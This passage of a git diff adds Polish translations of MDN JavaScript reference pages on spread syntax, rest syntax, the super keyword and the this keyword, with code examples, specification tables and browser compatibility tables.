tab2 = [3, 4, 5]; +tab1 = [...tab1, ...tab2]; +</pre> + +<p>{{jsxref("Array.unshift")}} jest często używane do dołączania elementów jednej tablicy na początek drugiej. Bez składni rozwinięcia wygląda to w następujący sposób:</p> + +<pre class="brush: js">var tab1 = [0, 1, 2]; +var tab2 = [3, 4, 5]; +// Dodaj wszystkie elementy tab2 na początek tab1 +Array.prototype.unshift.apply(tab1, tab2) // tab1 staje się [3, 4, 5, 0, 1, 2]</pre> + +<p>Przy użyciu składni rozwinięcia otrzymuje to następującą postać [jednak zauważ, że w tym przypadku utworzona zostaje nowa tablica <code>tab1</code> – w odróżnieniu od {{jsxref("Array.unshift")}}, <code>tab1</code> nie jest automatycznie modyfikowana):</p> + +<pre class="brush: js">var tab1 = [0, 1, 2]; +var tab2 = [3, 4, 5]; +tab1 = [...tab2, ...tab1]; // tab1 staje się [3, 4, 5, 0, 1, 2] +</pre> + +<h3 id="Rozwinięcie_w_literałach_tablicowych_2">Rozwinięcie w literałach tablicowych</h3> + +<p>The <a href="https://github.com/tc39/proposal-object-rest-spread">Rest/Spread Properties for ECMAScript</a> proposal (stage 4) adds spread properties to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object literals</a>. It copies own enumerable properties from a provided object onto a new object.</p> + +<p>Shallow-cloning (excluding prototype) or merging of objects is now possible using a shorter syntax than {{jsxref("Object.assign()")}}.</p> + +<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 }; +var obj2 = { foo: 'baz', y: 13 }; + +var clonedObj = { ...obj1 }; +// Object { foo: "bar", x: 42 } + +var mergedObj = { ...obj1, ...obj2 }; +// Object { foo: "baz", x: 42, y: 13 }</pre> + +<p>Note that {{jsxref("Object.assign()")}} triggers <a href="/en-US/docs/Web/JavaScript/Reference/Functions/set">setters</a> whereas spread syntax doesn't.</p> + +<p>Note that you cannot replace nor mimic the {{jsxref("Object.assign()")}} function:</p> + +<pre class="brush: js">var obj1 = { foo: 'bar', x: 42 }; +var obj2 = { foo: 'baz', y: 13 }; +const merge = ( ...objects ) => ( { ...objects } ); + +var mergedObj = merge ( obj1, obj2); +// Object { 0: { foo: 'bar', x: 42 }, 1: { foo: 'baz', y: 13 } } + +var mergedObj = merge ( {}, obj1, obj2); +// Object { 0: {}, 1: { foo: 'bar', x: 42 }, 2: { foo: 'baz', y: 13 } }</pre> + +<p>In the above example, the spread syntax does not work as one might expect: it spreads an <em>array</em> of arguments into the object literal, due to the rest parameter.</p> + +<h3 id="Tylko_dla_obiektów_iterowalnych">Tylko dla obiektów iterowalnych</h3> + +<p>Składnia rozwinięcia może być użyta jedynie dla obiektów<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol/iterator"> iterowalnych</a>:</p> + +<pre class="brush: js">var obiekt = {'klucz1': 'wartosc1'}; +var tablica = [...obiekt]; // TypeError: obiekt is not iterable +</pre> + +<h3 id="Rozwinięcie_z_wieloma_wartościami">Rozwinięcie z wieloma wartościami</h3> + +<p>Kiedy używaż składni rozwinięcia do wywołań funkcji, musisz być świadomy możliwości przekroczenia limitu liczby argumentów w silniku JavaScript. Po więcej szczegółów zajrzyj do <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Referencje/Obiekty/Function/apply" title="The apply() method calls a function with a given this value, and arguments provided as an array (or an array-like object)."><code>apply()</code>.</a></p> + +<h2 id="Składnia_reszty_(parametry)">Składnia reszty (parametry)</h2> + +<p>Składnia reszty ang. <em>rest syntax</em>) wygląda dokładnie jak składnia rozwinięcia, ale jest używana do destrukturyzacji tablic i obiektów. W pewnym sensie składnia reszty jest przeciwieństwem składni rozpakowania: rozwinięcie „rozpakowuje” elementy tablicy, natomiast składnia reszty „zbiera” wiele elementów i „pakuje” je do pojedynczego elementu. Zobacz: <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">rest parameters.</a></p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Defined in several sections of the specification: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td> + </tr> + <tr> + <td>{{SpecName('ES2018', '#sec-object-initializer')}}</td> + <td>{{Spec2('ES2018')}}</td> + <td>Defined in <a href="http://www.ecma-international.org/ecma-262/9.0/#sec-object-initializer">Object Initializer</a></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>No changes.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-object-initializer')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td>No changes.</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.operators.spread")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Rest parameters</a> (również ‘<code>...</code>’)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">fn.apply</a> (również ‘<code>...</code>’)</li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/spread_operator/index.html b/files/pl/web/javascript/referencje/operatory/spread_operator/index.html new file mode 100644 index 0000000000..1479eb441c --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/spread_operator/index.html @@ -0,0 +1,229 @@ +--- +title: Spread syntax +slug: Web/JavaScript/Referencje/Operatory/Spread_operator +tags: + - ECMAScript 2015 + - Iterator + - JavaScript + - Operator Rozwinięcia +translation_of: Web/JavaScript/Reference/Operators/Spread_syntax +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Operator spread umożliwia rozwinięcie wyrażenia. <strong>Składnia rozwinięcia</strong> pozwala na rozwinięcie wyrażenia w miejscach, w których potrzebne jest wiele argumentów (do wywołań funkcji), wiele elementów (do literałów tablicowych) lub wiele zmiennych ().</p> + +<h2 id="Składnia">Składnia</h2> + +<p>Do wywołań funkcji:</p> + +<pre class="brush: js">mojaFunkcja(...iterowalnyObiekt); +</pre> + +<p>Do literałów tablicowych:</p> + +<pre class="brush: js">[...iterowalnyObiekt, 4, 5, 6]</pre> + +<p> </p> + +<p>Do przypisań destrukturyzujących:</p> + +<pre class="brush: js">var [glowa, ...ogon] = [1, 2, 3, 4]</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Lepsze_zastosowanie">Lepsze zastosowanie</h3> + +<p><strong>Przykład:</strong> powszechne jest użycie {{jsxref( "Function.prototype.apply")}} w przypadkach, gdy chcesz użyć tablic jako argumentów funkcji.</p> + +<pre class="brush: js">function mojaFunkcja(x, y, z) { } +var args = [0, 1, 2]; +mojaFunkcja.apply(null, args);</pre> + +<p>Ze składnią rozwinięcia (spread) ES2015 powyższy kod można zapisać jako:</p> + +<pre class="brush: js">function mojaFunkcja(x, y, z) { } +var args = [0, 1, 2]; +mojaFunkcja(...args);</pre> + +<p>Dowolny argument w liście argumentów może użyć składni rozwinięcia i może być użyty wiele razy.</p> + +<pre class="brush: js">function myFunction(v, w, x, y, z) { } +var args = [0, 1]; +myFunction(-1, ...args, 2, ...[3]);</pre> + +<h3 id="Potężniejszy_literał_tablicowy">Potężniejszy literał tablicowy</h3> + +<p><strong>Przykład:</strong> Jeżeli masz tablicę i chcesz utworzyć nową tablicę z tą tablicą jako jej częścią, składnia literału tablicowego nie jest już wystarczająca i należy cofnąć się do programowania imperatywnego, użyć kombinacji <code>push</code>, <code>splice</code>, <code>concat</code>, itp. Z użyciem składni rozwinięcia wygląda to dużo prościej:</p> + +<pre class="brush: js">var czesci = ['ramiona', 'kolana']; +var rymowanka = ['glowa', ...czesci, 'i', 'palce']; // <span class="objectBox objectBox-array"><a class="objectLink "><span class="arrayLeftBracket">[</span></a><span class="objectBox objectBox-string">"glowa"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"</span></span>ramiona<span class="objectBox objectBox-array"><span class="objectBox objectBox-string">"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"kolana"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"i"</span><span class="arrayComma">, </span><span class="objectBox objectBox-string">"palce"</span></span>] +</pre> + +<p>Tak samo jak rozwinięcie może być użyte do list argumentów, <code>...</code> mogą być użyte wszędzie w literale tablicowym, także wiele razy.</p> + +<h3 id="Zastosowanie_z_new">Zastosowanie z new</h3> + +<p><strong>Przykład:</strong> W ES5 nie jest możliwa kompozycja <code>new</code> z <code>apply.</code> (W ES5, <code>apply</code> wykonuje <code>[[Call]]<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">, a nie </span></font></code><code>[[Construct]].</code>) W ES2015 składnia rozwinięcia wygląda następująco:</p> + +<pre class="brush: js">var daty = czytajDaty(bazaDanych); +var d = new Date(...daty);</pre> + +<h3 id="Kopiowanie_tablicy">Kopiowanie tablicy</h3> + +<pre class="brush: js">var tablica = [1,2,3]; +var tablica2 = [...tablica]; // jak tablica.slice() +tablica2.push(4); // tablica2 staje się [1,2,3,4], tablica pozostaje niezmieniona + +</pre> + +<h3 id="Ulepszone_push">Ulepszone push</h3> + +<p><strong>Przykład:</strong> {{jsxref("Global_Objects/Array/push", "push")}} jest często używany, by dodać tablicę na koniec innej tablicy. W ES5 jest to często osiągane przez:</p> + +<pre class="brush: js">var tablica1 = [0, 1, 2]; +var tablica2 = [3, 4, 5]; +// Dodaj wszystkie elementy z tablica2 do tablica1 +Array.prototype.push.apply(tablica1, tablica2);</pre> + +<p>W ES2015 z rozwinięciem wygląda to następująco:</p> + +<pre class="brush: js">var tablica1 = [0, 1, 2]; +var tablica2 = [3, 4, 5]; +tablica1.push(...tablica2);</pre> + +<h3 id="Użycie_jedynie_dla_obiektów_iterowalnych">Użycie jedynie dla obiektów iterowalnych</h3> + +<pre class="brush: js">var obiekt = {"klucz1":"wartosc1"}; +function mojaFunkcja(x) { + /* ... */ +} +// proba rozwinięcia nieiterowalnego elementu +// spowoduje błąd +mojaFunkcja(...obiekt); +var args = [...obiekt]; +// TypeError: obiekt is not iterable</pre> + +<h2 id="Operator_reszty">Operator reszty</h2> + +<p>Operator reszty, który wygląda dokładnie jak składnia rozwinięcia (spread), jest używany do destrukturyzacji obiektów i tablic. W pewnym stopniu, elementy reszty są przeciwieństwem elementów rozwinięcia: rozwinięcie 'rozbija' tablicę na elementy, natomiast reszta zbiera wiele elementów i 'zwija' je w jeden element.</p> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Stan</th> + <th scope="col">Komentasz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ES2015', '#sec-array-initializer')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Zdefiniowany w kilku sekcjach specyfikacji: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-array-initializer">Array Initializer</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-argument-lists">Argument Lists</a></td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array-initializer')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Funkcja</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Operacja rozwinięcia w literałach tablicowych</td> + <td>{{CompatChrome("46")}}</td> + <td>{{ CompatGeckoDesktop("16") }}</td> + <td>{{CompatIE("Edge")}}</td> + <td>{{CompatNo}}</td> + <td>7.1</td> + </tr> + <tr> + <td>Operacja rozwinięcia w wywołaniach funkcji</td> + <td>{{CompatChrome("46")}}</td> + <td>{{ CompatGeckoDesktop("27") }}</td> + <td>{{CompatIE("Edge")}}</td> + <td>{{CompatNo}}</td> + <td>7.1</td> + </tr> + <tr> + <td>Operacja rozwinięcia w destrukturyzacji</td> + <td>{{CompatChrome("49")}}</td> + <td>{{ CompatGeckoDesktop("34") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Funkcja</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Operacja rozwinięcia w literałach tablicowych</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome("46")}}</td> + <td>{{ CompatGeckoMobile("16") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + <td>{{CompatChrome("46")}}</td> + </tr> + <tr> + <td>Operacja rozwinięcia w wywołaniach funkcji</td> + <td>{{CompatNo}}</td> + <td>{{CompatChrome("46")}}</td> + <td>{{ CompatGeckoMobile("27") }}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>8</td> + <td>{{CompatChrome("46")}}</td> + </tr> + <tr> + <td>Operacja rozwinięcia w destrukturyzacji</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{ CompatGeckoDesktop("34") }}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/rest_parameters">Parametry reszty</a></li> + <li><a href="http://exploringjs.com/es6/ch_destructuring.html#sec_rest-operator">Operator reszty</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/super/index.html b/files/pl/web/javascript/referencje/operatory/super/index.html new file mode 100644 index 0000000000..c217af33e9 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/super/index.html @@ -0,0 +1,171 @@ +--- +title: super +slug: Web/JavaScript/Referencje/Operatory/super +translation_of: Web/JavaScript/Reference/Operators/super +--- +<div>{{jsSidebar("Operators")}}</div> + +<p>Słowo kluczowe <strong>super </strong>jest wykorzystywane do udostępniania i korzystania z funkcji klasy po której nasz obiekt dziedziczy.</p> + +<p>Wyrażenia <code>super.prop</code> i <code>super[expr]</code> są poprawne w każdej definicji metody zarówno w <a href="/pl/docs/Web/JavaScript/Reference/Classes">klasach</a> i <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">literałach obiektowych</a>.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">super([arguments]); // wywołuje konstruktor klasy rodzica +super.functionOnParent([arguments]); +</pre> + +<h2 id="Opis">Opis</h2> + +<p>W przypadku użycia w konstruktorze, słowo kluczowe <code>super</code> pojawia się samodzielnie i musi zostać użyte przed użyciem słowa kluczowego <code>this</code> . Słowo kluczowe <code>super</code> można również wykorzystać do wywoływania funkcji które nasz obiekt odziedziczył po swoim rodzicu.</p> + +<h2 id="Przykład">Przykład</h2> + +<h3 id="Użycie_super_w_klasach">Użycie <code>super</code> w klasach</h3> + +<p>Poniższy snippet został pobrany z <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">próbki klasy</a> (live demo). W tym przykładzie, super() jest wywoływane w celu uniknięcia powielania tych części konstruktora, które są wspólne zarówno dla <code>Rectangle</code> (trójkąta) jak i <code>Square</code> (kwadratu).</p> + +<pre class="brush: js notranslate">class Rectangle { + constructor(height, width) { + this.name = 'Rectangle'; + this.height = height; + this.width = width; + } + sayName() { + console.log('Hi, I am a ', this.name + '.'); + } + get area() { + return this.height * this.width; + } + set area(value) { + this._area = value; + } +} + +class Square extends Rectangle { + constructor(length) { + this.height; // ReferenceError, super needs to be called first! + + // Wywołanie konstruktora klasy nadrzędnej + // określenie szerokości i wysokości prostokąta + super(length, length); + // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż + // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia. + this.name = 'Square'; + } +}</pre> + +<h3 id="Super-wywołanie_metod_statycznych">Super-wywołanie metod statycznych</h3> + +<p>Za pomocą <code>super</code> jesteś w stanie także wywołać metody statyczne.</p> + +<pre class="brush: js notranslate">class Rectangle { + constructor() {} + static logNbSides() { + return 'I have 4 sides'; + } +} + +class Square extends Rectangle { + constructor() {} + static logDescription() { + return super.logNbSides() + ' which are all equal'; + } +} +Square.logDescription(); // 'I have 4 sides which are all equal' +</pre> + +<h3 id="Usuwanie_właściwości_z_super_wyrzuci_błąd">Usuwanie właściwości z super wyrzuci błąd</h3> + +<p>Nie możesz użyć <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Operator_delete">operatora usuwania</a> oraz <code>super.prop</code> bądź <code>super[expr]</code> w celu usunięcia właściwości klasy rodzica ponieważ zostanie zwrócony błąd {{jsxref("ReferenceError")}}.</p> + +<pre class="brush: js notranslate">class Base { + constructor() {} + foo() {} +} +class Derived extends Base { + constructor() {} + delete() { + delete super.foo; // to jest niepoprawnie + } +} + +new Derived().delete(); // ReferenceError: invalid delete involving 'super'. </pre> + +<h3 id="super.prop_nie_może_nadpisać_właściwości_typu_non-writable"><code>super.prop</code> nie może nadpisać właściwości typu non-writable </h3> + +<p>Definiując właściwości non-writable (niezapisywalne) np. {{jsxref("Object.defineProperty")}}, pamiętaj, że <code>super</code> nie może nadpisać takiej wartości.</p> + +<pre class="brush: js notranslate">class X { + constructor() { + Object.defineProperty(this, 'prop', { + configurable: true, + writable: false, + value: 1 + }); + } +} + +class Y extends X { + constructor() { + super(); + } + foo() { + super.prop = 2; // Nie można nadpisać wartości + } +} + +var y = new Y(); +y.foo(); // TypeError: "prop" is read-only +console.log(y.prop); // 1 +</pre> + +<h3 id="Używanie_super.prop_w_literałach_obiektowych">Używanie <code>super.prop</code> w literałach obiektowych</h3> + +<p><code>super</code> może być także wykorzystane <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Object_initializer">inicjalizatorze / literale obiektu</a>.</p> + +<p>W tym przykładzie dwa obiekty definiują swoją metodę. W drugim obiekcie, <code>super</code> wywołuje metodę obiektu pierwszego. To działa dzięki {{jsxref("Object.setPrototypeOf()")}} z czym jesteśmy w stanie ustawić prototyp obiektu <code>obj2</code> na <code>obj1</code>, tak aby <code>super</code><span> było w stanie znaleźć metodę </span><code>method1</code><span> </span>w obiekcie <code>obj1</code><span>. </span></p> + +<pre class="brush: js notranslate">var obj1 = { + method1() { + console.log('method 1'); + } +} + +var obj2 = { + method2() { + super.method1(); + } +} + +Object.setPrototypeOf(obj2, obj1); +obj2.method2(); // wypisze "method 1" +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-super-keyword', 'super')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + + + +<p>{{Compat("javascript.operators.super")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Reference/Classes">Classes</a></li> + <li><a href="https://medium.com/beginners-guide-to-mobile-web-development/super-and-extends-in-javascript-es6-understanding-the-tough-parts-6120372d3420">Anurag Majumdar - Super & Extends in JavaScript</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/operatory/this/index.html b/files/pl/web/javascript/referencje/operatory/this/index.html new file mode 100644 index 0000000000..523e210cb6 --- /dev/null +++ b/files/pl/web/javascript/referencje/operatory/this/index.html @@ -0,0 +1,346 @@ +--- +title: this +slug: Web/JavaScript/Referencje/Operatory/this +translation_of: Web/JavaScript/Reference/Operators/this +--- +<div> +<div>{{jsSidebar("Operators")}}</div> +</div> + +<h2 id="Summary">Summary</h2> + +<p>W JavaScript słówko kluczowe <code>this</code> zachowuje się nieco inaczej w porównaniu do innych języków programowania. Istnieje również kilka różnic między trybem <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a> oraz non-strict mode.</p> + +<p>W większości przypadków wartość <code>this</code> jest ustalana na podstawie tego, jak wywołana została dana funkcja. Wartość ta nie może być przypisana podczas wykonywania się funkcji i może być inna za każdym wywołaniem. ES5 wprowadziło metodę <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bind</a></code> dzięki której <a href="#The_bind_method">możemy przypisać wartość <code>this</code> w funkcji, niezależnie od tego jak została ona wywołana.</a></p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox">this</pre> + +<h2 id="Global_context">Global context</h2> + +<p>In the global execution context (outside of any function), <code>this</code> refers to the global object, whether in strict mode or not.</p> + +<pre class="brush:js">console.log(this.document === document); // true + +// In web browsers, the window object is also the global object: +console.log(this === window); // true + +this.a = 37; +console.log(window.a); // 37 +</pre> + +<h2 id="Function_context">Function context</h2> + +<p>Inside a function, the value of <code>this</code> depends on how the function is called.</p> + +<h3 id="Simple_call">Simple call</h3> + +<pre class="brush:js">function f1(){ + return this; +} + +f1() === window; // global object +</pre> + +<p>In this case, the value of <code>this</code> is not set by the call. Since the code is not in strict mode, the value of <code>this</code> must always be an object so it defaults to the global object.</p> + +<pre class="brush:js">function f2(){ + "use strict"; // see strict mode + return this; +} + +f2() === undefined; +</pre> + +<p>In strict mode, the value of <code>this</code> remains at whatever it's set to when entering the execution context. If it's not defined, it remains undefined. It can also be set to any value, such as <code>null</code> or <code>42</code> or <code>"I am not this"</code>.</p> + +<div class="note"><strong>Note:</strong> In the second example, <code>this</code> should be <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined"><code>undefined</code></a>, because <code>f2</code> was called without providing any base (e.g. <code>window.f2()</code>). This feature wasn't implemented in some browsers when they first started to support <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode" title="Strict mode">strict mode</a>. As a result, they incorrectly returned the <code>window</code> object.</div> + +<h3 id="As_an_object_method">As an object method</h3> + +<p>When a function is called as a method of an object, its <code>this</code> is set to the object the method is called on.</p> + +<p>In the following example, when <code>o.f()</code> is invoked, inside the function <code>this</code> is bound to the <code>o</code> object.</p> + +<pre class="brush:js">var o = { + prop: 37, + f: function() { + return this.prop; + } +}; + +console.log(o.f()); // logs 37 +</pre> + +<p>Note that this behavior is not at all affected by how or where the function was defined. In the previous example, we defined the function inline as the <code>f</code> member during the definition of <code>o</code>. However, we could have just as easily defined the function first and later attached it to <code>o.f</code>. Doing so results in the same behavior:</p> + +<pre class="brush:js">var o = {prop: 37}; + +function independent() { + return this.prop; +} + +o.f = independent; + +console.log(o.f()); // logs 37 +</pre> + +<p>This demonstrates that it matters only that the function was invoked from the <code>f</code> member of <code>o</code>.</p> + +<p>Similarly, the <code>this</code> binding is only affected by the most immediate member reference. In the following example, when we invoke the function, we call it as a method <code>g</code> of the object <code>o.b</code>. This time during execution, <code>this</code> inside the function will refer to <code>o.b</code>. The fact that the object is itself a member of <code>o</code> has no consequence; the most immediate reference is all that matters.</p> + +<pre class="brush:js">o.b = {g: independent, prop: 42}; +console.log(o.b.g()); // logs 42 +</pre> + +<h4 id="this_on_the_objects_prototype_chain"><code>this</code> on the object's prototype chain</h4> + +<p>The same notion holds true for methods defined somewhere on the object's prototype chain. If the method is on an object's prototype chain, <code>this</code> refers to the object the method was called on, as if the method was on the object.</p> + +<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }}; +var p = Object.create(o); +p.a = 1; +p.b = 4; + +console.log(p.f()); // 5 +</pre> + +<p>In this example, the object assigned to the variable <code>p</code> doesn't have its own <code>f</code> property, it inherits it from its prototype. But it doesn't matter that the lookup for <code>f</code> eventually finds a member with that name on <code>o</code>; the lookup began as a reference to <code>p.f</code>, so <code>this</code> inside the function takes the value of the object referred to as <code>p</code>. That is, since <code>f</code> is called as a method of <code>p</code>, its <code>this</code> refers to <code>p</code>. This is an interesting feature of JavaScript's prototype inheritance.</p> + +<h4 id="this_with_a_getter_or_setter"><code>this</code> with a getter or setter</h4> + +<p>Again, the same notion holds true when a function is invoked from a getter or a setter. A function used as getter or setter has its <code>this</code> bound to the object from which the property is being set or gotten.</p> + +<pre class="brush:js">function modulus(){ + return Math.sqrt(this.re * this.re + this.im * this.im); +} + +var o = { + re: 1, + im: -1, + get phase(){ + return Math.atan2(this.im, this.re); + } +}; + +Object.defineProperty(o, 'modulus', { + get: modulus, enumerable:true, configurable:true}); + +console.log(o.phase, o.modulus); // logs -0.78 1.4142 +</pre> + +<h3 id="As_a_constructor">As a constructor</h3> + +<p>When a function is used as a constructor (with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword), its <code>this</code> is bound to new object being constructed.</p> + +<p>Note: while the default for a constructor is to return the object referenced by <code>this</code>, it can instead return some other object (if the return value isn't an object, then the <code>this</code> object is returned).</p> + +<pre class="brush:js">/* + * Constructors work like this: + * + * function MyConstructor(){ + * // Actual function body code goes here. + * // Create properties on |this| as + * // desired by assigning to them. E.g., + * this.fum = "nom"; + * // et cetera... + * + * // If the function has a return statement that + * // returns an object, that object will be the + * // result of the |new| expression. Otherwise, + * // the result of the expression is the object + * // currently bound to |this| + * // (i.e., the common case most usually seen). + * } + */ + +function C(){ + this.a = 37; +} + +var o = new C(); +console.log(o.a); // logs 37 + + +function C2(){ + this.a = 37; + return {a:38}; +} + +o = new C2(); +console.log(o.a); // logs 38 +</pre> + +<p>In the last example (<code>C2</code>), because an object was returned during construction, the new object that <code>this</code> was bound to simply gets discarded. (This essentially makes the statement "<code>this.a = 37;</code>" dead code. It's not exactly dead, because it gets executed, but it can be eliminated with no outside effects.)</p> + +<h3 id="call_and_apply"><code>call</code> and <code>apply</code></h3> + +<p>Where a function uses the <code>this</code> keyword in its body, its value can be bound to a particular object in the call using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a></code> or <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a></code> methods that all functions inherit from <code>Function.prototype</code>.</p> + +<pre class="brush:js">function add(c, d){ + return this.a + this.b + c + d; +} + +var o = {a:1, b:3}; + +// The first parameter is the object to use as +// 'this', subsequent parameters are passed as +// arguments in the function call +add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16 + +// The first parameter is the object to use as +// 'this', the second is an array whose +// members are used as the arguments in the function call +add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34 +</pre> + +<p>Note that with <code>call</code> and <code>apply</code>, if the value passed as <code>this</code> is not an object, an attempt will be made to convert it to an object using the internal <code>ToObject</code> operation. So if the value passed is a primitive like <code>7</code> or <code>'foo'</code>, it will be converted to an Object using the related constructor, so the primitive number <code>7</code> is converted to an object as if by <code>new Number(7)</code> and the string <code>'foo'</code> to an object as if by <code>new String('foo'), e.g.</code></p> + +<pre class="brush:js">function bar() { + console.log(Object.prototype.toString.call(this)); +} + +bar.call(7); // [object Number] +</pre> + +<h3 id="The_bind_method">The <code>bind</code> method</h3> + +<p>ECMAScript 5 introduced <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind</a></code>. Calling <code>f.bind(someObject)</code> creates a new function with the same body and scope as <code>f</code>, but where <code>this</code> occurs in the original function, in the new function it is permanently bound to the first argument of <code>bind</code>, regardless of how the function is being used.</p> + +<pre class="brush:js">function f(){ + return this.a; +} + +var g = f.bind({a:"azerty"}); +console.log(g()); // azerty + +var o = {a:37, f:f, g:g}; +console.log(o.f(), o.g()); // 37, azerty +</pre> + +<h3 id="As_a_DOM_event_handler">As a DOM event handler</h3> + +<p>When a function is used as an event handler, its <code>this</code> is set to the element the event fired from (some browsers do not follow this convention for listeners added dynamically with methods other than <code>addEventListener</code>).</p> + +<pre class="brush:js">// When called as a listener, turns the related element blue +function bluify(e){ + // Always true + console.log(this === e.currentTarget); + // true when currentTarget and target are the same object + console.log(this === e.target); + this.style.backgroundColor = '#A5D9F3'; +} + +// Get a list of every element in the document +var elements = document.getElementsByTagName('*'); + +// Add bluify as a click listener so when the +// element is clicked on, it turns blue +for(var i=0 ; i<elements.length ; i++){ + elements[i].addEventListener('click', bluify, false); +}</pre> + +<h3 id="In_an_in–line_event_handler">In an in–line event handler</h3> + +<p>When code is called from an in–line handler, its <code>this</code> is set to the DOM element on which the listener is placed:</p> + +<pre class="brush:js"><button onclick="alert(this.tagName.toLowerCase());"> + Show this +</button> +</pre> + +<p>The above alert shows <code>button</code>. Note however that only the outer code has its <code>this</code> set this way:</p> + +<pre class="brush:js"><button onclick="alert((function(){return this}()));"> + Show inner this +</button> +</pre> + +<p>In this case, the inner function's <code>this</code> isn't set so it returns the global/window object (i.e. the default object in non–strict mode where <code>this</code> isn't set by the call).</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>ECMAScript 1st Edition.</td> + <td>Standard</td> + <td>Initial definition. 